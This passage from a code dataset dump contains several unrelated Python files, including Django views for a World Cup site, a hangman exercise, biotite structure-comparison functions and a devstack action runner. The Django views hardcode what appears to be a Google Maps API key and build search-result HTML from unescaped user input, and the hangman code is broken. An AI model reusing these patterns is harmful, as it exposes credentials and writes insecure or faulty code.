test_validation_error(client):\n \"\"\"Can order be added twice\"\"\"\n\n body = {\n 'data': [\n {\n 'order_id': 1,\n 'weight': 0.01,\n 'region': 666,\n 'delivery_hours': ['00:00-23:59']\n }\n ]\n }\n\n rv = client.post('/orders',\n json=body)\n rv = client.post('/orders',\n json=body)\n\n json_data = rv.get_json()\n assert len(json_data['validation_error']) > 0\n assert json_data['validation_error']['orders'][0]['id'] == 1\n","sub_path":"tests/test_orders.py","file_name":"test_orders.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"21776605","text":"# Create your views here.\n# django 1.8\nfrom django.template.response import TemplateResponse\n\nfrom django.shortcuts import render\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.http import HttpResponse\nfrom itertools import chain\nfrom app.models import *\nfrom IPython import embed\nimport string\nimport urllib\nimport json\nfrom watson import search as watson\nimport re\nimport random\n\ndef splitParagraph(paragraph):\n sentenceEnders = re.compile('[.!?]')\n sentenceList = sentenceEnders.split(paragraph)\n return sentenceList\n\ndef search(request):\n context = RequestContext(request)\n \n query = \"\"\n query_words = []\n #if there exist a 'q' property in get and that 'q' has something other than white space assign that value to query\n if ('q' in request.GET) and request.GET['q'].strip():\n query = request.GET['q']\n \n # Single-line breakpoint\n # embed()\n\n #split query on white space\n query_words = query.split()\n \n #get the resesults using the entire query together\n and_results = watson.search(query, ranking=True)\n\n\n for i in and_results:\n print(i.url)\n print(i)\n\n results = list(and_results)\n\n #add on each individual result to the and results\n for wd in query_words:\n or_results = list(watson.search(wd, ranking=True))\n for r in or_results:\n if not r in results:\n results.append(r)\n \n snippets = []\n \n \n for i in range(0, len(results)):\n final_sentence = \"\"\n\n sentences = splitParagraph(results[i].content)\n\n #First highlight terms in sentences matching the phrase\n for s in list(sentences):\n if(s.lower().find(query.lower()) != -1):\n sentences.remove(s)\n s = s.lower().replace(query.lower(), \"<B class='search_term'>\"+query.lower()+\"</B>\")\n final_sentence += \"...\" + s\n break\n\n #Then highlight the separate words of a query separately\n for q_wd in query_words:\n for s in list(sentences):\n if (s.lower().find(q_wd.lower()) != -1):\n sentences.remove(s)\n s = s.lower().replace(q_wd.lower(), \"<B class='search_term'>\"+q_wd.lower()+\"</B>\")\n final_sentence += \"...\" + s\n break\n\n final_sentence += \"...\"\n snippets.append(final_sentence)\n\n zipped = None\n if len(results) > 0:\n zipped = zip(results, snippets)\n length_results = len(results)\n # for i in results:\n # print(i.url)\n\n return render_to_response('search.html', {\"query\": query, \"length_results\": length_results, \"results\": zipped}, context)\n\n\n\n\ndef home(request):\n context = RequestContext(request)\n lucky_num = random.randint(0, 10)\n \n if lucky_num <= 2:\n lucky_num = 2\n elif lucky_num < 8:\n lucky_num = 3\n else:\n lucky_num = 8\n\n fortune_list = [0] * 1;\n fortune_list[0] = lucky_num\n \n context_dict = {\n 'title': 'LuckyNumber',\n 'lucky_num_key': fortune_list\n }\n \n # embed()\n \n response = TemplateResponse(request, 'home.html', context_dict)\n \n # https://docs.djangoproject.com/en/1.8/ref/template-response/\n # response.render()\n # print(response.content)\n \n return response\n\n\ndef countries(request):\n context = RequestContext(request)\n try:\n countries = Country.objects.all().order_by('country_name')\n l = [(x.country_name).replace(' ', '_') for x in countries]\n z = zip(countries, l)\n context_dict = {\n 'title': 'Countries',\n 'wow_urls' : z\n }\n return render_to_response('countries.html', context_dict, context)\n except:\n return handler404(request)\n\n\ndef country(request, c_name):\n context = RequestContext(request)\n try:\n x = c_name.replace('_',' ')\n # try:\n country = Country.objects.get(country_name=x)\n\n #make the list so that it sort based on specific position they played\n pos_list = ['Goalkeeper', 'Defender', 'Midfielder','Forward']\n # player = Player.objects.all().filter(country = country).order_by('position')\n players = Player.objects.all().filter(country = country)\n g = players.filter(position=pos_list[0]).order_by('shirt_number')\n d = players.filter(position=pos_list[1]).order_by('shirt_number')\n m = players.filter(position=pos_list[2]).order_by('shirt_number')\n f = players.filter(position=pos_list[3]).order_by('shirt_number')\n\n am = Match.objects.all().filter(country_A__country_name = country.country_name)\n bm = Match.objects.all().filter(country_B__country_name = country.country_name)\n la = []\n lb = []\n for mat in am:\n aa = mat.country_A.country_name.replace(' ', '_')\n bb = mat.country_B.country_name.replace(' ', '_')\n t = (aa, bb)\n la.append(t)\n \n for mat in bm:\n aa = mat.country_A.country_name.replace(' ', '_')\n bb = mat.country_B.country_name.replace(' ', '_')\n t = (aa, bb)\n lb.append(t)\n \n za = zip(la, am)\n zb = zip(lb, bm)\n \n ordered_players = list(chain(g,d,m,f))\n l = [(x.full_name).replace(' ', '_') for x in ordered_players]\n z = zip(ordered_players, l)\n # print(type(players))\n country_dict = {\n 'country': country.country_name,\n 'rank': country.rank,\n \"players\" : ordered_players,\n \"mapurl\" : country.map_url,\n 'flagurl' : country.flag,\n 'wow_urls' : z,\n 'team_logo_url' : country.team_logo_url,\n 'team_video_url' : country.team_video_url,\n 'article' : country.article,\n\n 'matches_played': country.matches_played,\n 'goals_scored': country.goals_scored,\n 'attempts_on_target': country.attempts_on_target,\n 'distance_covered': country.distance_covered,\n\n 'one_g_freq_min': country.one_g_freq_min,\n 'one_g_freq_attempts': country.one_g_freq_attempts,\n 'scoring_method_total': country.scoring_method_total,\n 'att_attempts': country.att_attempts,\n\n 'def_tackles': country.def_tackles,\n 'def_saves': country.def_saves,\n 'def_blocks': country.def_blocks,\n 'def_total_defense': country.def_total_defense,\n 'ma' : za,\n 'mb' : zb \n }\n\n # print(country_dict['title'])\n return render_to_response('country.html', country_dict, context)\n except:\n return handler404(request)\n\n\ndef players(request):\n context = RequestContext(request)\n \n try:\n players = Player.objects.all().order_by('country__country_name', 'shirt_number')\n l = []\n l2 = []\n for x in players:\n l += [(x.full_name).replace(' ', '_')]\n l2 += [(x.country.country_name).replace(' ', '_')]\n\n z = zip(players, l, l2)\n\n players_dict = {\n 'title' : 'Players',\n 'wow_urls' : z,\n }\n return render_to_response ('players.html', players_dict, context)\n except:\n return handler404(request)\n\n\ndef return_this_dict():\n return { \"object\": [{\"id\": 1,\"language\": [\"arabic\", \"cantonese\", \"greek\", \"vietnamese\", \"Chinese\", \"English\"],\"activities\": []}, {\"id\": 2,\"language\": [\"punjabi\", \"hindi\", \"urdu\", \"gujarati\"],\"activities\": []}, {\"id\": 3,\"language\": [\"Russian\"],\"activities\": []}, {\"id\": 4,\"language\": [\"Thai\"],\"activities\": []}, {\"id\": 5,\"language\": [\"English\"],\"activities\": []}, {\"id\": 6,\"language\": [\"Portuguese\", \"English\", \"Spanish\"],\"activities\": []}, {\"id\": 7,\"language\": [\"cantonese\", \"Chinese\", \"English\"],\"activities\": []}, {\"id\": 8,\"language\": [\"Chinese\"],\"activities\": []}, {\"id\": 9,\"language\": [\"Italian\"],\"activities\": []}, {\"id\": 10,\"language\": [\"English\"],\"activities\": []}, {\"id\": 11,\"language\": [\"English\", \"Spanish\"],\"activities\": []}, {\"id\": 12,\"language\": [\"English\", \"Egyptian Arabic\"],\"activities\": []}]}\n\ndef player(request, p_name):\n context = RequestContext(request)\n # p_name = p_name\n # print(p_name)\n # print(x)\n # try:\n x = p_name.replace('_',' ')\n\n player = Player.objects.get(full_name = x)\n country_url = (player.country.country_name).replace(' ', '_')\n \n am = Match.objects.all().filter(country_A__country_name = player.country.country_name)\n bm = Match.objects.all().filter(country_B__country_name = player.country.country_name)\n\n\n player_dic = {\n \"full_name\" : player.full_name,\n \"country\" : player.country,\n \"sur_name\" : player.sur_name,\n \"clubname\" : player.clubname,\n \"position\" : player.position,\n \"shirt_number\": player.shirt_number,\n \"birth_date\" : player.birth_date, \n \"player_image\" : player.player_image,\n \"international_caps\" : player.international_caps,\n \"goals\" : player.goals,\n \"height\" : player.height,\n \"first_international_appearance\" : player.first_international_appearance,\n \"biography\" : player.biography,\n \"c_url\" : country_url,\n\n \"twitter_name\": player.twitter_name,\n \"ma\" : am,\n \"mb\" : bm\n }\n\n return render_to_response('player.html', player_dic, context)\n # except:\n # return handler404(request)\n\n\n\ndef matches(request):\n context = RequestContext(request)\n\n try:\n matches = Match.objects.all()\n matches_dict = {\n 'matches': matches,\n }\n return render_to_response('matches.html',matches_dict,context)\n except:\n return handler404(request)\n\n\n\ndef match(request, id):\n context = RequestContext(request)\n\n try:\n match = Match.objects.get(pk=id)\n a = match.country_A.country_name.replace(' ', '_') \n b = match.country_B.country_name.replace(' ', '_')\n\n match_dic = {\n \"country_A\" : match.country_A,\n \"country_B\" : match.country_B,\n \"winner\" : match.winner,\n \"score\" : match.score,\n \"location\" : match.location,\n \"match_date\" : match.match_date,\n \"match_num\" : match.match_num,\n \"merge_flag\" : match.merge_flag,\n \"map_location\" : match.map_location,\n \"highlight_url\" : match.highlight_url,\n \"a_url\" : a,\n \"b_url\" : b\n }\n\n return render_to_response('match.html',match_dic,context)\n except:\n return handler404(request)\n\n\ndef aboutus(request):\n context = RequestContext(request)\n\n try:\n aboutus_dict = {\n 'GDC_location': \"https://www.google.com/maps/embed/v1/place?q=Gates-Dell+Complex+Austin+Texas+USA&key=AIzaSyDZQEI-0qREquMzHQf8Gl6Z2zYt_YBjrmQ\"\n }\n return render_to_response('aboutus.jade',aboutus_dict,context)\n except:\n return handler404(request)\n\n\n\ndef tourguide(request):\n context = RequestContext(request)\n \n \"\"\"\n ^api/cities/$ [name='api']\n ^api/languages/$ [name='api']\n ^api/activities/$ [name='api']\n \"\"\"\n # print(\"THis is mr kimchi begin\")\n\n #Exercising all their API\n urlAPI = \"http://flappybirds.pythonanywhere.com/\"\n requestCities = urllib.request.urlopen(urlAPI+\"api/cities/\")\n response_Cities = requestCities.read().decode(\"utf-8\")\n format_Cities = json.loads(response_Cities)\n\n requestLanguages = urllib.request.urlopen(urlAPI+\"api/languages/\")\n response_Languages = requestLanguages.read().decode(\"utf-8\")\n format_Languages = json.loads(response_Languages)\n\n requestActivities = urllib.request.urlopen(urlAPI+\"api/activities/\")\n response_Activities = requestActivities.read().decode(\"utf-8\")\n city_languages = return_this_dict()[\"object\"]\n format_Activities = json.loads(response_Activities)\n \n \n for cur_dict in city_languages:\n new_list = [] \n for current_element in cur_dict[\"language\"] : \n for dic in format_Languages:\n if dic[\"name\"] == current_element:\n new_list += [(current_element, dic[\"description\"])]\n cur_dict[\"language\"] = new_list\n\n for cur_dict in city_languages:\n new_list = [] \n current_element = cur_dict[\"id\"]\n for dic in format_Activities:\n if dic[\"city\"] == current_element:\n new_list += [(dic[\"name\"], dic[\"description\"])]\n cur_dict[\"activities\"] = new_list\n\n \n # print(city_languages)\n\n combolist = []\n #language and country\n # p = iter(city_languages)\n # print(\"THis is mr kimchi\")\n\n for i in range(0,len(format_Cities)):\n # x = next(p)\n # print(city_languages[i])\n combolist += [(format_Cities[i], city_languages[i]),]\n\n # print(combolist)\n try:\n tour_dict = {\n \"cities\" : format_Cities,\n \"languages\" : format_Languages,\n \"activities\" : format_Activities,\n \"cities_languages\" : combolist\n }\n return render_to_response('tourguide.html', tour_dict, context)\n except:\n return handler404(request)\n\n\n#Error 404 page\ndef handler404(request):\n return render(request, '404.html')\n\n# def test(request):\n# context = RequestContext(request)\n# return render_to_response('test.html',context)\n","sub_path":"src/worldcup/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"327523332","text":"'''\n-------------------------------------------------------\n[program, library, or function name]\n-------------------------------------------------------\nAuthor: Tiro Timmers\nID: 09017000\nEmail: timm7000@mylaurier.ca\nVersion: Dec 16, 2010\n-------------------------------------------------------\n[program description]\n-------------------------------------------------------\n'''\n\ndef hangman():\n word = input('enter word to be guessed')\n #prints masked word in list\n blank = ['*']\n blank_list = blank*len(word)\n print(blank_list)\n \n #puts the word into a list\n list = []\n i = 0\n while i < len(word):\n list += [word[i]]\n i += 1\n \n #allows the user to make a guess\n k = 0\n while k <= 6:\n guess = input('letter guessed:')\n \n if word.find(guess) != -1:\n place = word.find(guess)\n new = blank_list.insert(place, guess)\n print(new)\n \n guess = input('guessed:')\n \n if blank_list == list:\n print('You win')\n \n else:\n print('sorry, that letter is not in the word')\n if k == 6:\n print('Sorry, you lose, the correct answer was:')\n print(list)\n k += 1\n return\n \nhangman()","sub_path":"ExamReview/src/question15.py","file_name":"question15.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"432983136","text":"from django.shortcuts import render\r\nfrom crudHonda.models import ProductModel\r\nfrom django.contrib import messages\r\nfrom crudHonda.forms import ProductForms\r\n\r\n\r\ndef showProd(request):\r\n showAll = ProductModel.objects.all()\r\n return render(request, 'index.html', {\"data\": showAll})\r\n\r\n\r\ndef insertMotor(request):\r\n if request.method == \"POST\":\r\n if request.POST.get('nama') and request.POST.get('transmisi') and request.POST.get('warna') and request.POST.get('harga'):\r\n saverecord = ProductModel()\r\n saverecord.nama = request.POST.get('nama')\r\n saverecord.transmisi = request.POST.get('transmisi')\r\n saverecord.warna = request.POST.get('warna')\r\n saverecord.harga = request.POST.get('harga')\r\n saverecord.save()\r\n messages.success(request, 'Motor ' +\r\n saverecord.nama + ' Is Saved Sucessfully..!')\r\n return render(request, 'insert.html')\r\n else:\r\n return render(request, 'insert.html')\r\n\r\n\r\ndef editMotor(request, id):\r\n editObj = ProductModel.objects.get(id=id)\r\n return render(request, 'edit.html', {\"ProductModel\": editObj})\r\n\r\n\r\ndef updateProd(request, id):\r\n UpdateProd = ProductModel.objects.get(id=id)\r\n form = ProductForms(request.POST, instance=UpdateProd)\r\n if form.is_valid():\r\n form.save()\r\n messages.success(request, 'Record Updated Successfull...!')\r\n return render(request, 'edit.html', {\"ProductModel\": UpdateProd})\r\n\r\n\r\ndef deleteProd(request, id):\r\n DeleteProd = ProductModel.objects.get(id=id)\r\n DeleteProd.delete()\r\n showdata = ProductModel.objects.all()\r\n return render(request, \"index.html\", {\"data\": showdata})\r\n","sub_path":"crudHonda/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"577406136","text":"class Solution(object):\n def reverseWords(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n# Time complexity :O(n) Space complexity: O(n)\n# solution 1\n strlist = s.split(\" \")\n res = []\n for i in range(len(strlist)-1,-1,-1):\n if not strlist[i]:\n continue\n res.append(strlist[i])\n return \" \".join(res)\n\n# solution2 \n tmp = s.split()\n return \" \".join(tmp[::-1])","sub_path":"151-ReverseWordsInString.py","file_name":"151-ReverseWordsInString.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"154268791","text":"# This source code is part of the Biotite package and is distributed\n# under the 3-Clause BSD License. Please see 'LICENSE.rst' for further\n# information.\n\n\"\"\"\nThis module provides functions for calculation of characteristic values when\ncomparing multiple structures with each other.\n\"\"\"\n\n__author__ = \"Patrick Kunzmann\"\n__all__ = [\"rmsd\", \"rmsf\", \"average\"]\n\nimport numpy as np\nfrom .atoms import Atom, AtomArray, AtomArrayStack\nfrom .util import vector_dot\n\n\ndef rmsd(reference, subject):\n \"\"\"\n Calculate the RMSD between two structures.\n \n Calculate the root-mean-square-deviation (RMSD)\n of a structure compared to a reference structure.\n The RMSD is defined as:\n \n .. math:: RMSD = \\\\sqrt{ \\\\frac{1}{n} \\\\sum\\\\limits_{i=1}^n (x_i - x_{ref,i})^2}\n \n Parameters\n ----------\n reference : AtomArray\n Reference structure.\n subject : AtomArray or AtomArrayStack\n Structure(s) to be compared with `reference`.\n `reference` and `subject` must have equal annotation arrays.\n \n Returns\n -------\n rmsd : float or ndarray, dtype=float, shape=(n,)\n RMSD between subject and reference.\n If subject is an :class:`AtomArray` a float is returned.\n If subject is an :class:`AtomArrayStack` an :class:`ndarray`\n containing the RMSD for each :class:`AtomArray` is returned.\n \n See Also\n --------\n rmsf\n \"\"\"\n return np.sqrt(np.mean(_sq_euclidian(reference, subject), axis=-1))\n\n\ndef rmsf(reference, subject):\n \"\"\"\n Calculate the RMSF between two structures.\n \n Calculate the root-mean-square-fluctuation (RMSF)\n of a structure compared to a reference structure.\n The RMSF is defined as:\n \n .. math:: RMSF(i) = \\\\sqrt{ \\\\frac{1}{T} \\\\sum\\\\limits_{t=1}^T (x_i(t) - x_{ref,i}(t))^2}\n \n Parameters\n ----------\n reference : AtomArray\n Reference structure.\n subject : AtomArrayStack\n Structures to be compared with `reference`.\n reference` and `subject` must have equal annotation arrays.\n The time `t` is represented by the index of the first dimension\n of the AtomArrayStack.\n \n Returns\n -------\n rmsf : ndarray, dtype=float, shape=(n,)\n RMSF between subject and reference structure.\n The index corresponds to the atoms in the annotation arrays.\n \n See Also\n --------\n rmsd\n \"\"\"\n if type(subject) != AtomArrayStack:\n raise ValueError(\"Subject must be AtomArrayStack\")\n return np.sqrt(np.mean(_sq_euclidian(reference, subject), axis=0))\n\n\ndef average(atom_arrays):\n \"\"\"\n Calculate an average structure.\n \n The average structure has the average coordinates\n of the input models.\n \n Parameters\n ----------\n atom_arrays : AtomArrayStack\n Stack of structures to be averaged\n \n Returns\n -------\n average : AtomArray\n Structure with averaged atom coordinates.\n \n See Also\n --------\n rmsd, rmsf\n \n Notes\n -----\n The calculated average structure is not suitable for visualisation\n or geometric calculations, since bond lengths and angles will\n deviate from meaningful values.\n This method is rather useful to provide a reference structure for\n calculation of e.g. the RMSD or RMSF. \n \"\"\"\n mean_array = atom_arrays[0].copy()\n mean_array.coord = np.mean(atom_arrays.coord, axis=0)\n return mean_array\n\n\ndef _sq_euclidian(reference, subject):\n \"\"\"\n Calculate squared euclidian distance between atoms in two\n structures.\n \n Parameters\n ----------\n reference : AtomArray\n Reference structure.\n subject : AtomArray or AtomArrayStack\n Structure(s) whose atoms squared euclidian distance to\n `reference` is measured.\n \n Returns\n -------\n ndarray, dtype=float, shape=(n,) or shape=(m,n)\n Squared euclidian distance between subject and reference.\n If subject is an :class:`AtomArray` a 1-D array is returned.\n If subject is an :class:`AtomArrayStack` a 2-D array is\n returned.\n In this case the first dimension indexes the AtomArray.\n \"\"\"\n if type(reference) != AtomArray:\n raise ValueError(\"Reference must be AtomArray\")\n dif = subject.coord - reference.coord\n return vector_dot(dif, dif)","sub_path":"src/biotite/structure/compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":4307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"213257217","text":"# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright (C) 2012 Yahoo! Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License..\n\nimport abc\n\nfrom devstack import env_rc\nfrom devstack import exceptions as excp\nfrom devstack import log as logging\nfrom devstack import settings\nfrom devstack import shell as sh\nfrom devstack import utils\n\nLOG = logging.getLogger(\"devstack.progs.actions\")\n\n\nclass ActionRunner(object):\n __meta__ = abc.ABCMeta\n\n PREREQ = None\n NAME = None\n\n def __init__(self,\n distro,\n cfg,\n pw_gen,\n **kargs):\n self.distro = distro\n self.cfg = cfg\n self.pw_gen = pw_gen\n self.keep_old = kargs.get('keep_old', False)\n self.force = kargs.get('force', False)\n\n @abc.abstractmethod\n def _instance_needs_prereq(self, instance):\n \"\"\"Determine if the instance will require our prereq to be invoked.\n\n Return boolean where True means invoke the prereq.\n \"\"\"\n return False\n\n @abc.abstractmethod\n def _run(self, persona, root_dir, component_order, instances):\n \"\"\"Run the phases of processing for this action.\n\n Subclasses are expected to override this method to\n do something useful.\n \"\"\"\n\n def _order_components(self, components):\n \"\"\"Returns the components in the order they should be processed.\n \"\"\"\n # Duplicate the list to avoid problems if it is updated later.\n return components[:]\n\n def _construct_instances(self, persona, root_dir):\n \"\"\"Create component objects for each component in the persona.\n \"\"\"\n components = persona.wanted_components\n desired_subsystems = persona.wanted_subsystems or {}\n component_opts = persona.component_options or {}\n instances = {}\n for c in components:\n (cls, my_info) = self.distro.extract_component(c, self.NAME)\n LOG.debug(\"Constructing class %s\" % (cls))\n cls_kvs = {}\n cls_kvs['runner'] = self\n cls_kvs['component_dir'] = sh.joinpths(root_dir, c)\n cls_kvs['subsystem_info'] = my_info.get('subsystems', {})\n cls_kvs['all_instances'] = instances\n cls_kvs['name'] = c\n cls_kvs['keep_old'] = self.keep_old\n cls_kvs['desired_subsystems'] = desired_subsystems.get(c, set())\n cls_kvs['options'] = component_opts.get(c, {})\n # The above is not overrideable...\n for (k, v) in my_info.items():\n if k not in cls_kvs:\n cls_kvs[k] = v\n instances[c] = cls(**cls_kvs)\n return instances\n\n def _verify_components(self, component_order, instances):\n LOG.info(\"Verifying that the components are ready to rock-n-roll.\")\n for c in component_order:\n instance = instances[c]\n instance.verify()\n\n def _warm_components(self, component_order, instances):\n LOG.info(\"Warming up component configurations\")\n for c in component_order:\n instance = instances[c]\n instance.warm_configs()\n\n def _run_phase(self, start_msg, functor, end_msg, component_order, instances):\n \"\"\"Run a given 'functor' across all of the components, in order.\n \"\"\"\n for c in component_order:\n instance = instances[c]\n if start_msg:\n LOG.info(start_msg.format(name=c))\n try:\n result = functor(instance)\n if end_msg:\n LOG.info(end_msg.format(name=c, result=result))\n except (excp.NoTraceException) as e:\n if self.force:\n LOG.debug(\"Skipping exception [%s]\" % (e))\n else:\n raise\n\n def _handle_prereq(self, persona, instances, root_dir):\n preq_cls = self.PREREQ\n if not preq_cls:\n return\n components_needing_prereq = []\n for (c, instance) in instances.items():\n if self._instance_needs_prereq(instance):\n components_needing_prereq.append(c)\n preq_cls_name = preq_cls.NAME or \"???\"\n if components_needing_prereq:\n LOG.info(\"Processing prerequisite action %r requested by (%s) components.\",\n preq_cls_name, \", \".join(components_needing_prereq))\n prereq_instance = preq_cls(self.distro,\n self.cfg,\n self.pw_gen,\n keep_old=self.keep_old,\n force=self.force\n )\n prereq_instance.run(persona, root_dir)\n\n def run(self, persona, root_dir):\n instances = self._construct_instances(persona, root_dir)\n self._handle_prereq(persona, instances, root_dir)\n component_order = self._order_components(persona.wanted_components)\n LOG.info(\"Processing components for action %r\", (self.NAME or \"???\"))\n utils.log_iterable(component_order,\n header=\"Activating in the following order:\",\n logger=LOG)\n self._verify_components(component_order, instances)\n self._warm_components(component_order, instances)\n self._run(persona, root_dir, component_order, instances)\n\n\nclass InstallRunner(ActionRunner):\n NAME = 'install'\n\n def _instance_needs_prereq(self, instance):\n return False\n\n def _write_rc_file(self, root_dir):\n writer = env_rc.RcWriter(self.cfg, self.pw_gen, root_dir)\n if not sh.isfile(settings.OSRC_FN):\n LOG.info(\"Generating a file at %r that will contain your environment settings.\",\n settings.OSRC_FN)\n writer.write(settings.OSRC_FN)\n else:\n LOG.info(\"Updating a file at %r that contains your environment settings.\",\n settings.OSRC_FN)\n am_upd = writer.update(settings.OSRC_FN)\n LOG.info(\"Updated %s settings in rc file %r\",\n am_upd, settings.OSRC_FN)\n\n def _run(self, persona, root_dir, component_order, instances):\n self._write_rc_file(root_dir)\n self._run_phase(\n 'Downloading {name}',\n lambda i: i.download(),\n \"Performed {result} downloads.\",\n component_order,\n instances,\n )\n self._run_phase(\n 'Configuring {name}',\n lambda i: i.configure(),\n \"Configured {result} items.\",\n component_order,\n instances,\n )\n self._run_phase(\n 'Pre-installing {name}',\n lambda i: i.pre_install(),\n None,\n component_order,\n instances,\n )\n self._run_phase(\n 'Installing {name}',\n lambda i: i.install(),\n \"Finished install of {name} - check {result} for traces of what happened.\",\n component_order,\n instances,\n )\n self._run_phase(\n 'Post-installing {name}',\n lambda i: i.post_install(),\n None,\n component_order,\n instances,\n )\n\n\nclass StartRunner(ActionRunner):\n NAME = 'running'\n PREREQ = InstallRunner\n\n def _instance_needs_prereq(self, instance):\n return not instance.is_installed()\n\n def _run(self, persona, root_dir, component_order, instances):\n self._run_phase(\n None,\n lambda i: i.configure(),\n None,\n component_order,\n instances,\n )\n self._run_phase(\n 'Pre-starting {name}',\n lambda i: i.pre_start(),\n None,\n component_order,\n instances,\n )\n self._run_phase(\n 'Starting {name}',\n lambda i: i.start(),\n \"Started {result} applications.\",\n component_order,\n instances,\n )\n self._run_phase(\n 'Post-starting {name}',\n lambda i: i.post_start(),\n None,\n component_order,\n instances,\n )\n\n\nclass StopRunner(ActionRunner):\n NAME = 'running'\n\n def _instance_needs_prereq(self, instance):\n return False\n\n def _order_components(self, components):\n components = super(StopRunner, self)._order_components(components)\n components.reverse()\n return components\n\n def _run(self, persona, root_dir, component_order, instances):\n self._run_phase(\n 'Stopping {name}',\n lambda i: i.stop(),\n 'Stopped {result} items',\n component_order,\n instances,\n )\n\n\nclass UninstallRunner(ActionRunner):\n NAME = 'uninstall'\n PREREQ = StopRunner\n\n def _instance_needs_prereq(self, instance):\n return instance.is_started()\n\n def _order_components(self, components):\n components = super(UninstallRunner, self)._order_components(components)\n components.reverse()\n return components\n\n def _run(self, persona, root_dir, component_order, instances):\n self._run_phase(\n 'Unconfiguring {name}',\n lambda i: i.unconfigure(),\n None,\n component_order,\n instances,\n )\n self._run_phase(\n 'Pre-uninstalling {name}',\n lambda i: i.pre_uninstall(),\n None,\n component_order,\n instances,\n )\n self._run_phase(\n 'Uninstalling {name}',\n lambda i: i.uninstall(),\n None,\n component_order,\n instances,\n )\n self._run_phase(\n 'Post-uninstalling {name}',\n lambda i: i.post_uninstall(),\n None,\n component_order,\n instances,\n )\n\n\n_NAMES_TO_RUNNER = {\n 'install': InstallRunner,\n 'uninstall': UninstallRunner,\n 'start': StartRunner,\n 'stop': StopRunner,\n }\n\n\ndef get_action_names():\n \"\"\"Returns a list of the available action names.\n \"\"\"\n return sorted(_NAMES_TO_RUNNER.keys())\n\n\ndef get_runner_factory(action):\n \"\"\"Given an action name, look up the factory for that action runner.\n \"\"\"\n try:\n return _NAMES_TO_RUNNER[action]\n except KeyError:\n raise ValueError('Unrecognized action %s' % action)\n","sub_path":"devstack/progs/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":11030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"426152600","text":"import sqlite3\nimport csv\nimport os.path\nfrom random import randint\n\n#database = 'AmbientLightStorage.db'\ndatabase = 'ZeroInitialized.db'\nconn = sqlite3.connect(database)\nlightmodels = {'RANDOM': randint(0,255), 'ZEROINITIALIZED': 0}\nc = conn.cursor()\n\ndef create_table():\n c.execute(\"CREATE TABLE IF NOT EXISTS AmbientLight(gpsvalue TEXT, timesegment TEXT, link TEXT, ambientlight INTEGER)\")\n conn.commit()\n\ndef dynamic_data_entry():\n c.execute(\"INSERT INTO AmbientLight(gpsvalue, timesegment, link, ambientlight) VALUES (?, ?, ?, ?)\",\n (gpsvalue, timesegment, link, ambientlight))\n \n\ndef close_database():\n conn.commit()\n c.close()\n conn.close()\n\nlinks = ['AB','BC','CD','DE','EF','FG','FH','HM','IJ','IN','JK','BK','KL','DM','IM','NO','CO']\nambientlight = 0\ngpsvalue = 0\n\ncreate_table()\nstartTime = 0\nendTime = 2400\ntime = startTime\nlightmodel = lightmodels['ZEROINITIALIZED']\n#lightmodel = lightmodels['RANDOM']()\n\nprint(\"STARTED\")\nwhile time < endTime:\n for k in range (0,17):\n link = links[k]\n path = os.path.join('./Links/'+link+'.csv')\n \n with open(path) as f:\n gpslist=[line for line in csv.reader(f)]\n \n for i in range (time//2, time//2+30):\n timesegment = str(i*2).zfill(4)\n for j in range (0, len(gpslist)):\n ambientlight = lightmodel\n #ambientlight = randint(0,255)\n gpsvalue = repr(gpslist[j])\n dynamic_data_entry()\n \n time = time + 100\nclose_database()\nprint(\"COMPLETED filling database ----> \" + database)\nprint(\"All values initialized to \" + 'ZEROINITIALIZED')\n#print (\"All values initialized to \" + 'RANDOM')\n","sub_path":"Cloud/database_generator.py","file_name":"database_generator.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"567430192","text":"############################################################################################################\n# NAME: hybrid assembly.py\n# AUTHOR: Christophe Van den Eynde\n# FUNCTION: creates some texts files containing location variables that are used by the snakefile as input\n# USAGE LINUX/MAC: python3 hybrid_assembly.py\n# USAGE WINDOWS: python.exe hybrid_assembly.py\n############################################################################################################\n\n# IMPORT PACKAGES===========================================================================================\nimport os\nimport platform\nimport subprocess\nimport string\nfrom datetime import date, datetime\nfrom pathlib import Path\nimport shutil\nimport sys\nimport importlib\n# ==========================================================================================================\n\n# CLASSES ==================================================================================================\n# System Info ----------------------------------------------------------------------------------------------\nclass SystemInfo:\n def __init__(self):\n # SystemType: What System is the host running: Windows, MacOS, Unix (Darwin = MacOS)\n # SytemThreads: total amount of threads available to the system\n # Dockerthreads: total amount of threads availble to docker (dependend on docker-settings or the settings of the VM running docker)\n if \"Windows\" in platform.system():\n self.SystemType = platform.system()\n self.SystemThreads = subprocess.Popen('WMIC CPU Get NumberOfLogicalProcessors', shell=True, stdout=subprocess.PIPE)\n elif \"Darwin\" in platform.system():\n self.SystemType = platform.system()\n self.SystemThreads = subprocess.Popen('sysctl -n hw.ncpu', shell=True, 